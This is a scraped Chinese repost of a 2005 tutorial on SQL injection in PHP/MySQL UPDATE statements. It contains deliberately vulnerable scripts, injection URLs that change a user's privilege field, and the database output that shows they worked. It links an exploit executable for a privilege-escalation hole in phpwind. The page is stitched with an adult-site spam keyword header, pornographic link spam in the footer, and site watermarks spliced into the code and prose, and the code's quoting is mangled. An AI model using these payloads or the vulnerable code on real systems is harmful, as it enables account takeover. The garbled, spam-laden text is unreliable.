亚洲免费在线视频-亚洲啊v-久久免费精品视频-国产精品va-看片地址-成人在线视频网

您的位置:首頁技術文章
文章詳情頁

UPDATE注射(mysql+php)的兩個模式

瀏覽:3日期:2024-01-09 08:56:31

本文作者:SuperHei文章性質:原創發布日期:2005-08-14

一、測試環境網管下載dl.bitscn.com

OS: Windowsxp sp2php: php 4.3.10mysql 4.1.9apache 1.3.33

二、測試數據庫結構

-- 數據庫: `test`--

-- --------------------------------------------------------

---- 表的結構 `userinfo`--網管網www_bitscn_com

CREATE TABLE `userinfo` (`groudid` varchar(12) NOT NULL default '1',`user` varchar(12) NOT NULL default 'heige',`pass` varchar(122) NOT NULL default '123456') TYPE=MyISAM DEFAULT CHARSET=utf8;網管u家u.bitsCN.com

---- 導出表中的數據 `userinfo`--

INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')

三、測試模式

1、變量沒有帶''或''中國網管聯盟bitsCN.com

<?php//test1.php Mod1$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數據庫連接失敗');中國網管論壇bbs.bitsCN.com

$sql = 'update userinfo set pass=$p where user='heige'';//<--$P沒有使用單引號

$result = mysql_db_query($dbname, $sql);$userinfo = mysql_fetch_array($result);中國網管論壇bbs.bitsCN.com

echo '<p>SQL Query:$sql<p>';?>

腳本里只是修改 user='heige' 的 pass,如果 groudid 表示用戶的權限等級,我們的目的就是通過構造 $p 來達到修改 groupid 的目的,那么我們提交:

http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查詢:

mysql> select * from userinfo;+---------+-------+--------+| groudid | user | pass |+---------+-------+--------+| 1 | heige | 123456 |+---------+-------+--------+1 row in set (0.01 sec)

用戶heige的groudid又2改為1了 :)

所以我們可以得到沒有''或''update的注射是可以成功的,這個就是我們的模式1。

2、變量帶''或''

<?php//test2.php$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數據庫連接失敗');

$sql = 'update userinfo set pass='$p' where user='heige'';//<--$P使用單引號中國網管論壇bbs.bitsCN.com

$result = mysql_db_query($dbname, $sql);$userinfo = mysql_fetch_array($result);網管論壇bbs_bitsCN_com

echo '<p>SQL Query:$sql<p>';?>

為了關閉'我們構造$p應該為123456',groudid='2提交:中國網管論壇bbs.bitsCN.com

http://127.0.0.1/test2.php?p=123456',groudid='1

在gpc=on的情況下'變成了',提交的語句變成:

SQL Query:update userinfo set pass='123456',groudid='1' where user='heige'

mysql查詢:

mysql> select * from userinfo;+---------+-------+--------------------+| groudid | user | pass |+---------+-------+--------------------+| 2 | heige | 123456',groudid='1 |+---------+-------+--------------------+1 row in set (0.00 sec)網管bitscn_com

groudid并沒有被修改。那么在變量被''或''時 就完全沒有被注射呢?不是 下面我們看模式2:

<?php//test3.php Mod2$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數據庫連接失敗');

$sql = 'update userinfo set pass='$p' where user='heige'';//<--$P使用單引號網管u家u.bitscn@com

$result = mysql_db_query($dbname, $sql);mysql_fetch_array($result); //$p的數據寫入數據庫

$sql= 'select pass from userinfo where user='heige'';$result = mysql_db_query($dbname, $sql);$userinfo=mysql_fetch_array($result);

echo $userinfo[0]; //把pass查詢輸出給$userinfo[0]

$sql ='update userinfo set pass='$userinfo[0]' where user='heige'';$result = mysql_db_query($dbname, $sql);mysql_fetch_array($result); //把$userinfo[0] 再次update中國網管聯盟bitsCN.com

?>

我們測試下,提交:網管bitscn_com

http://127.0.0.1/test3.php?p=123456',groudid='1

回mysql查詢下 :網管論壇bbs_bitsCN_com

mysql> select * from userinfo;+---------+-------+--------+| groudid | user | pass |+---------+-------+--------+| 1 | heige | 123456 |+---------+-------+--------+1 row in set (0.00 sec)

HaHa~~ 成功注射 修改groudid為1。 這個就是我們的模式2了,簡單的描敘如下:

update --> select --> update

四、實際模式

模式1:缺

模式2:phpwind 2.0.2和3.31e 權限提升漏洞

漏洞分析

update (profile.php 注射變量為$proicon update語句里為,icon='$userdb[icon]')↓select (jop.php)↓updtate (jop.php)網管論壇bbs_bitsCN_com

Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe

五、鳴謝

特別感謝saiy等朋友的討論和幫助。Thanks!!

標簽: PHP
主站蜘蛛池模板: 欧美视频一区二区三区精品 | 欧美日韩看看2015永久免费 | 草草草在线视频 | 国产精品一国产精品免费 | 亚洲一级片在线播放 | 亚洲特级黄色片 | 欧美日韩国产人成在线观看 | 一级a美女毛片 | 久久在线播放 | 色综合a怡红院怡红院首页 色综合精品久久久久久久 色综合九九 | 精品在线观看免费 | 新版天堂中文资源8在线 | 可以看毛片的网站 | 99爱在线视频 | 国产在线视频欧美亚综合 | 午夜爽爽 | 国产一级aaaaa毛片欧美 | 最近手机高清中文字幕大全7 | 亚洲成在人线免费视频 | 一级不卡毛片免费 | 大片在线播放日本一级毛片 | 久久草在线免费 | 欧美日韩专区国产精品 | 国产精选在线播放 | 国产欧美一区视频在线观看 | 欧美一线高本道高清在线 | 国产精品1页 | 毛片图片 | 99国内精品久久久久久久 | 成人做爰视频www在线观看 | 国产美女高清一级a毛片 | 成人a毛片高清视频 | 亚洲国产成人久久午夜 | 午夜影院黄 | 欧美人成在线观看网站高清 | 国产一区二区三区在线免费观看 | 九九看片| 一区二区三区四区在线播放 | 精品国产96亚洲一区二区三区 | freesexvideo性欧美tv2021| 免费在线观看a级片 |